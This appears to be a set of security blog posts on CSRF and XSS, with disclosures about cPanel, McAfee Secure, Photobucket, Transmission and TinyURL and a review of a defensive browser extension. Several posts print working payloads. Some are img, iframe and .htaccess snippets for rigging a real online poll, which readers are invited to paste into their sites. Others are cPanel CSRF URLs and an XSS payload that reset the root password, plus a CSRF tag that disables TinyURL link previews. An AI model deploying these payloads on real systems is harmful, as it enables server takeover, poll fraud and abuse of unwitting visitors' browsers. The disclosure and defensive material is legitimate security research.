CSRF Isn't Just For Access

One common assumption people make with regards to CSRF is that it is used to escalate privileges or otherwise abuse sessions. While it's certainly useful there, CSRF can also be used to DoS a website by having a few hundred visitors to your site load a resource-intensive page on the target's server. It could also be used to anonymize sql injection, remote file inclusion, and other attacks.

The concept of having a website's normal users abuse another site has fascinated me for a long time- essentially, any high-traffic website could be used to create dynamic, temporary botnets of web browsers. This is neat.

Hold that thought. Wired Magazine is in the running for AdweekMedia's "Best of the 2000s" top magazine of the decade. I'm a big fan of Wired. I'm not a big fan of Rachel Ray, whose magazine is currently in the lead. I'd never heard of Adweekmedia, but like others before me, I can't help laughing when I see an online poll, survey, petition or other people-oriented data-gathering application. While gaming such systems isn't usually very hard, I laugh even harder when I notice the application is vulnerable to CSRF. In the case of this poll, it allows one vote per IP address, but doesn't appear to contain any other restrictions.

It probably raises some ethical issues to perform this kind of attack, and I certainly wouldn't condone this kind of thing. If you want to vote for Wired, you can do so manualy with this url:

http://answers.polldaddy.com/vote/?va=10&pt=0&r=2&p=2232025&a=10937850

For demonstration purposes only, here's a bit of HTML that you could theoretically place in your own website, harnessing the power of your users.

<!-- Help Wired win magazine of the year VIA CSRF. Copy/paste the following code into your websites -->
<img src="http://answers.polldaddy.com/vote/?va=10&amp;pt=0&amp;r=2&amp;p=2232025&amp;a=10937850" width="1" height="1" onerror="this.parentNode.removeChild(this)">

Putting that payload into an XSS worm would get a nice spread of visitors. On the off chance that they check referers, you can iframe in a page with an HTML injection/XSS hole to do it for you:

<!-- Help Wired win magazine of the year VIA CSRF. Copy/paste the following code into your websites -->
<iframe src="http://polldaddy.com/ratings/rate.php?cmd=get&id=61037&uid=wp-comment-29028&item_id=_comm_29028%22%3E%3Cimg%20src=%22http%3A%2f%2fanswers.polldaddy.com%2fvote%2f%3Fva%3D10%26pt%3D0%26r%3D2%26p%3D2232025%26a%3D10937850%22%3E" width="1" height="1" >

To be fair, XSS isn't really necessary. They provide us with a bit of Javascript to embed the poll in our own websites. All we have to do is use a bit of our own javascript, and we can hijack that method of poll submission as well.

But why should we restrict ourselves to web browsers? Lots of other applications make HTTP requests, and we can certainly use those ones. favicon.ico and robots.txt are some of the most common URLs for non-web-clients to hit. A few .htaccess rules can be used to help herd bots, malware, and non-browser RSS readers in the right direction:

Redirect /robots.txt http://answers.polldaddy.com/vote/?va=10&pt=0&r=2&p=2232025&a=10937850
Redirect /favicon.ico http://answers.polldaddy.com/vote/?va=10&pt=0&r=2&p=2232025&a=10937850
Redirect /info.php http://answers.polldaddy.com/vote/?va=10&pt=0&r=2&p=2232025&a=10937850
Redirect /errors.php http://answers.polldaddy.com/vote/?va=10&pt=0&r=2&p=2232025&a=10937850
Redirect /rss.xml http://answers.polldaddy.com/vote/?va=10&pt=0&r=2&p=2232025&a=10937850
Redirect /atom.xml http://answers.polldaddy.com/vote/?va=10&pt=0&r=2&p=2232025&a=10937850

By posting a few links to Twitter, we can also get the URL prefetchers, anti-malware applicatons, and other bots in line.

Now when I think "Where can I get a lot of IP addresses?" the obvious answer is BitTorrent. We can add the URL in question (or something that redirects to it) to the "announce" and "scrape" sections of a .torrent file. The clients will perform GET requests to specified URL, and everybody is happy. Uploading a torrent of a popular TV show will get you an awful lot of clients, awfully fast. There is another way to get BT clients making requests- an unofficial extension known as WebSeeding allows one to serve up chunks of a file from an HTTP server. Again, there's no reason that BT clients won't follow the occasional redirect and snag a piece from the wrong place. They'll even recognize the pieces as invalid and download them from another location- nobody will ever know that the request was made.

This concludes my random thoughts for the day. Isn't abusing the web fun?

Browser Security Tools: RequestPolicy

Note: I originally posted this piece on my employer's blog. I'm shamelessly cross-posting it because this is a really cool extension, and I want lots of people to check it out.

I spoke about CSRF attacks at Defcon a few months ago, and while I was there, I had the opportunity to meet with Justin Samuel, the creator of RequestPolicy. RequestPolicy is a Firefox extension designed to provide CSRF protection and enforce web application boundaries. I love it.

Request Policy completely breaks the web... in all the right ways. You'll initially hate using it. StumbleUpon links will no longer work, due to their use of cross-site iframes. Shortened bit.ly and tinyurl links will present you with an intermediate page instead of following 302 redirects. Deeplinked images on blogs, social networking sites, and other pages won't show up. You will have to manually approve off-domain requests on a case-by-case basis. It's not convenient, but it's a lot safer than letting your browser blindly request resources.

In short, RequestPolicy gives you granular control over your browser. If you know what you're doing, this is a good thing. If you're a normal user, you'll probably find yourself checking the "Temporarily Allow All Requests" box or disabling the extension completely. I can't say I'd blame you, but try not to. The extension is still very young in its development process, and most of the issues that I've run into are UI/usability problems. The developer is aware of many of these issues and working to fix them, but it's not easy. Samuel is very open to suggestions, feedback, and criticism, so if you have useful input, I'm sure he'd be happy to hear it- just hit the contact link on the extension's website.

The UI is heavily modeled after NoScript, so if you're a fan of that extension (and you should be), it isn't too difficult to figure out. Off-domain requests are disabled by default, and can be enabled on a per-site, as-needed basis. The preferences pane is simple and fairly easy to understand, allowing you to more easily manage your whitelist of allowed domains. Additionally, the extension ships with a setup wizard to create generic whitelists based on common sites (recaptcha, for example, has to be whitelisted for every domain that uses it). All in all, it's pretty easy to set up, and though it will break a lot of sites at first, as you fine tune the settings to your browsing habits, it really doesn't get in the way too much.

RequestPolicy was created for a very specific purpose: to give users the ability to better control their browsers and prevent CSRF. It's a bit rough at the moment, but it's very good at it.

Watch Out For Suspicius Links

As part of our recent research on CSRF attacks, Russ McRee found a vulnerability in the Linksys WRT160N router. Sadly, this wasn't a huge shock to us, but what was surprising was the response from Linksys:

We can’t reasonably prevent CSRF's without bogging down our code. The compromise we had made here is to have a timeout on the web interface, so users are logged out after 10 mins of inactivity. We have also advised users to not click on suspicious links while logged in to the web interface, or close the web interface as soon as they are finished configuring the router

As ridiculous as the entire response is, I'd like to focus on the "Don't click suspicious links" bit. Most users will click on any link you throw at them, particularly from link-heavy social sites such as Twitter. In fact, if you clicked through to this page from my Twitter post, the page you're currently on should be at "http://skeptikal.org/a_very_suspicious_link."

Why did you click it?

Because you trust me. And you trust Twitter. And you trust my hosting company. And your DNS servers. And my DNS servers. And TinyURL.

I could rant on this topic for a while, but I know I'd be preaching to the choir. Don't trust any links, anywhere. Especially don't trust the ones from TinyURL, bit.ly, or any other URL shortening service. You have no way of knowing whether a site is malicious or not until you load it into your browser. Even then, it's doubtful that you'd ever notice. You're probably not a normal user, but most people wouldn't ever recognize real malware for what it is, especially if it's properly obfuscated.

In theory, a goal of never clicking a malicious link is impossible to achieve. In practice though, many malicious links are fairly easy to recognize if you just look at the URL. This is why sites like TinyURL allow you to preview links before being redirected to them. Earlier today, @OWASP_podcast sent out the following tweet:

http://tinyurl.com/preview.php?enable=1 will force all TinyURLs to appear in preview mode on your machine.

It's a good idea, but this is clearly a URL that modifies user preferences based on GET variables, and I couldn't help noticing that the same preference could be disabled with a bit of CSRF:

<img src="http://tinyurl.com/preview.php?disable=1">

I'd call this a failure on TinyURL's part, but even if you did preview the URL, there's no guarantee the seemingly innocent link won't have malicious content, redirects, cross-site scripting, HTML injection holes, poorly configured DNS, poorly coded flash files, content ownership problems, compromised FTP accounts or other issues.

Just keep that in mind- previewing a link is a convenience, not a security feature.

Spamming Ecommerce with CSRF

The idea isn't entirely new- CSRF has been used in the past to abuse ranking systems and push pageviews through the roof. These attacks have a lot of applications in spamming, black hat SEO, and manipulating site statistics.

I came up with an interesting variant on this recently. Instead of trying to get as many hits as possible to a page (in an ecommerce app, for example), we can force users to view a product of our choosing (one we sell, of course). This, in turn, will make that product pop up in his "recently viewed items" page, or, in many cases, the front page of the site. It's easy to see how this attack could be directly monetized- putting your product on the front page of, say Amazon.com, will go a long way towards increasing its visibility and ultimately, its sales.

This attack can even be targeted towards specific audiences very easily by sticking these history-poisoning links in domain-specific websites- weight loss products on weight loss forums, tech products on tech sites, etc.

The important distinction is that instead of attacking the server directly, we're abusing the user's session. Taking it a step further, some sites allow the attacker to actually stick products in the user's shopping cart via CSRF. If you don't notice that they're there, you may end up buying things you didn't intend. If you do notice them, you still will likely click through and view the product- effective advertising, no doubt.

As a proof of concept, this page will poison your browser's Amazon.com recommendations, eBay product views, your Walmart.com shopping cart, and your Overstock.com cart.

Could spammers use CSRF to push their products to the front page of your favorite ecommerce portals? You bet. Would that be valuable? Given the massive amount of money people throw at the SEO and advertising industries, I have to assume so.

I'll Be Speaking at Defcon 17

I've known about this for a few weeks, but it just went up on Defcon's website today. Russ McRee and I will be presenting at Defcon 17 in Las Vegas next month. The title of the presentation is "CSRF: Yeah, it still works." If you're going to be there, I'd love to see you.

Owning Ubuntu with CSRF

When the latest version of Ubuntu was released, it came with a new version of the Transmission bit torrent client. One of the new features of Transmission was a web interface, which would allow users to manage torrents from their web browsers. The service is ip-restricted to localhost.

Why the service should be enabled by default, or why the local user (the only one able to access it by default) would ever want it, I'll never know, but it should be no surprise to anybody that I immediately poked around for CSRF holes.

As it turns out, the holes were there, and though a bit tricky to exploit- it required mangling the form inputs and using the text/plain encoding, Transmission was quite vulnerable. Here's a proof-of-concept. Basically, it allows me to first change the download destination to one of my choosing, then download a torrent of my choosing. This is bad- I could force a user to download a new .bashrc file or overwrite their entire home directory (I actually did this by accident while testing the exploit. Backups are great).

Other problems do make it harder to exploit. First, when you start the torrent, it pops up a box asking the administrator what he wants to do with it. Many people, including myself, have it configured to skip this step, as it's extremely annoying.

When you make the CSRF requests, the result is returned in JSON format, and browsers without handlers for it will pop up a box asking if you'd like to save the file. When this box pops up, it is already too late, as the request has already been processed by the server, but it does at least keep the attack from being silent.

This isn't really a new exploit- Nate McFeters talked about doing the same thing through an XSS hole in the Azureus web interface in his talk, "the Internet is Broken", at Black Hat 2008.

The hole is fixed in today's release, so go ahead and upgrade, then disable that web server.

Please, let's start taking CSRF seriously.

Epic Failure from McAfee

When you outsource all your PCI scanning to another company, you'd expect that company to be careful with your data. First off, there's the fact that security is what they do- if that data were to get leaked, you'd expect the damage to reputation alone to be crippling.

Second, (and probably the least important, really), the PCI ASV validation requirements (section 4.5.1, if you're interested) make it pretty clear that client data should be kept very confidential.

Finally, the data contained on those servers- lists of vulnerabilities on all their clients' systems, along with security administrators' passwords and more, is pretty high on the list of Things You Don't Want Getting Out.

You know what's coming.

We've found problems with McAfee time and time again. I was saving this for a post later this week, but given recent events, I think the time is right.

Until last week, McAfee Secure was vulnerable to critical CSRF holes. Not little ones, or ones that were difficult to exploit- basic, zero-kowledge, classic GET-based total-account-compromise holes. I think the pictures tell the story:









I sent a vulnerability report to a contact at McAfee and they responded quickly, communicated with me, and fixed the issue. They also began reviewing their entire codebase for similar holes. I commend them for that, but I cannot overlook the fact that this vulnerability never should have existed in the first place.

It's not going to be a surprise to anybody, but this is solid proof that McAfee Secure is mis-named. Their failure here is on an epic scale:

• They did not comply with PCI requirements for ASVs


• They did not use a secure software development lifecycle in building this application


• An in-depth penetration test should catch an issue like this, so I presume that no such audit has taken place


• Until I reported it, they had never performed a full code review for web vulnerabilities


• As you can see in the 1st and 3rd screenshots, the application was itself certified as McAfee Secure when I performed this demonstration.


• At no point in five weeks from me finding the vulnerability and it being fixed was that McAfee Secure logo removed from their own website.

The ultimate and obvious irony, however, is that McAfee Secure is in the business of testing others' web applications. I'll be the first to say that they are not equipped to do so.

I have a lot more information coming on this and related issues. Try the veal, tip your waitress, I'll be here all week.

Photobucket Private Album Access via CSRF

I've been playing a lot with CSRF lately. As I find ways to manipulate more and more services with what is probably the most basic type of attack possible, I keep getting surprised by the insanely cool things that one can do with it.

Photobucket allows users to make albums either "Public" or "Private", the latter of which will enable access only with a guest password. While chatting with a friend online recently, I tried to view one of her private albums. Knowing what I do for a living, she gave me permission to do so, but said I'd have to find my way in without her help. So I did.

The form for setting a private album's password, as well as the one for making an album public, both are vulnerable to CSRF. In fact, both use GET parameters to do their magic, so it's actually pretty trivial to pull off a successful attack. I wrote a proof of concept, but it's really not that complicated.

Not only can users' albums be made public, but variations on this exploit can be used to change passwords on albums, delete photos, and compromise account passwords. This really is a serious issue- while Photobucket's TOS may protect them from liability (and may or may not hold up in court), there are a lot of extremely private photos stored there.

I emailed a vulnerability report to Photobucket on the morning of 4-9-2009, but have not received a response.

cPanel Root CSRF: Round 3

Readers who have been with me from the beginning (as well as the guy that read my entire site yesterday) will recall that last fall, I posted several XSS and CSRF vulnerabilities with the cPanel WHM interface. Essentially, these vulnerabilities would allow me, as an attacker, to root a cPanel server simply by having an authenticated administrator browse my website. At the time, the vendor did not respond to my vulnerability reports, and the problems went unfixed until I resubmitted them to Secunia in February.

cPanel finally took action, fixing the XSS hole that I had found. However, the CSRF issues (which were much more critical in this case) were ignored. Their response to these issues was that CSRF can be prevented using the "XSRF Protection" feature in the WHM administration interface. I double checked and sure enough, there was such a feature. It was obscure, disabled by default, nowhere to be found on the cPanel documentation pages and FAQ (which ironically has its own XSS holes), and had verbage next to it that would discourage most administrators from enabling the feature. Essentially, cPanel treats these critical CSRF holes as a feature:



I didn't have all that much time to look into it until today, when I decided to actually test this feature. Digging into the code, the first thing I noticed was that all the "XSRF Protection" does is check the referrer that your browser sent- if it doesn't match one of the known domains for the server, the requested action is not allowed to take place.

The first way around this was obvious. If your browser does not send any referrer, the XSRF protection does not kick in. Referrers can be suppressed several ways, but the first one that comes to mind for me is SSL. Many browsers will not send referrers when coming from an SSL page. This morning, I wrote a proof of concept that bounces the user off an SSL-encrypted open redirect (there's plenty of them out there). A few tests with the latest version of cPanel confirmed that Firefox 3 does not send a referrer, and the XSRF Protection feature had no effect.

Assuming that the browser did send referrers, there are still plenty of ways to bypass it. The next thing that comes to mind is simply using a domain on the whitelist to execute the attack. With a few hundred users on most cPanel servers, finding an open redirect, file upload, XSS, or cross-site framing hole is usually trivial. If you combine that with the mod_userdir attacks I posted last week, you can increase the effectiveness of this attack even further.

The next idea I had was to add my domain to the list of allowed domains. It requires access to a local account on the server (legitimately or not), but any user can add extra domains and subdomains to his site- subdomains which are considered "allowed" by cPanel. This provides yet another effective way to avoid the XSRF protection feature.

The back end code for the cPanel interface is an absolute mess- it's amazing that it works as well as it does. Not just the WHM interface, but the entire package is vulnerable to CSRF and XSS attacks at nearly every level. This software manages hundreds of thousands of websites.

This is bad.

But preventing CSRF would break your third party billing software, so we should probably allow it by default. That's a great idea.

Edit: cPanel did, in fact, mention the XSRF Protection feature on their blog about a year ago. This post calls the CSRF issues "security issues, which range in severity from trivial to medium-critical"

More Fun With cPanel

I've had a few people contact me about this cPanel exploit- mostly people I'd rather not give further information to (sorry guys, but you're not even very good at being bad guys). Unfortunately, I also don't think anything will get fixed unless it gets made public.

I did some more work on the WHM interface, and it turns out that XSS isn't even necessary to change the root password. It can all be done with CSRF:
http://victim.com:2086/scripts/passwd?user=root&password=owned&password2=owned&submit-domain2=Change+Password

In case you're not familiar with CSRF, it is a vulnerability that is extremely underrated- forcing authenticated users to perform actions for you via well placed links, resource tags, or open redirects.

Let me repeat that: If you are logged into cPanel, and you hit a website that I can embed an image link in (which is nearly every web site out there, these days), I can root your server. I What's more, I won't leave any traces at all, because you actually root the server for me.

This is a big deal.

But it's worse than that. There are plenty of other CSRF holes in the WHM interface. Here, I can force you to download and install arbitrary code from cPanel's servers, downgrading or upgrading your software to a vulnerable version at will:

http://victim.com:2086/scripts2/saveuthemes?themetype=modules&${moduleName}=${versionNumber}

One final point, in case you think needing local access for my permanent XSS hole is too much work, here's a reflected XSS exploit:

http://victim.com:2086/scripts2/confdkillproc?%3Cscript%3Ealert(1337)%3C/script%3E=1&trusted=

Seriously, folks. Web-based management interfaces are a bad idea.

cPanel Root XSS

cPanel is the industry leader in web hosting management software. According to their website, the software is used on "tens of thousands of servers worldwide". Basically, cPanel provides all the traditional UNIX system administration tools through a web-based interface. The interface is very nice, and I have a healthy chunk of respect for the perl-fu of the developers that built it.

From a security aspect, however, the software is flawed by design. The first problem is that mass hosting is the dumbest idea in the world. I'll talk about that in future posts.

The second problem, and the point of this post, is that by combining low-level tools with a web interface, you tend to get the worst of both worlds. An attacker can use techniques from the still-relatively-new domain of web application security to perform old-school attacks that have been fixed many times over.

It turns out that you can, in fact, use cross-site scripting to hack a server

Here's an example. I have quite a few more XSS and CSRF holes, but this should suffice for making my point.

Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:

"onmouseover="alert(1337)

When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.

But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':

"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);d.name='password2';d.value='owned';f.submit()

Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives.

I'll be honest- I like having a web-based administration for servers, routers, printers, and other appliances. Web standards are cross-platform, and browser support is getting better all the time. But do we really need to replace shell-based administration with a web interface? I'm not going to answer "no" right away, but if you're going to do it, you need to be aware of the risks, and awfully careful.

Based on my experiences as both a coder and a penetration tester, a huge majority of developers (even the really good ones) don't understand what security risks there are, much less how to mitigate them. This isn't a problem that is limited to web developers, but it is much more pronounced in that field.

With that in mind, many of my future posts are going to be directed not to other security researchers, but to developers. If they are going to make an interface for managing a server, hopefully they care enough to educate themselves on the risks.

The exploit code above was last tested with cPanel 11.23.4-R26118/WHM 11.23.2 on 8-4-2008.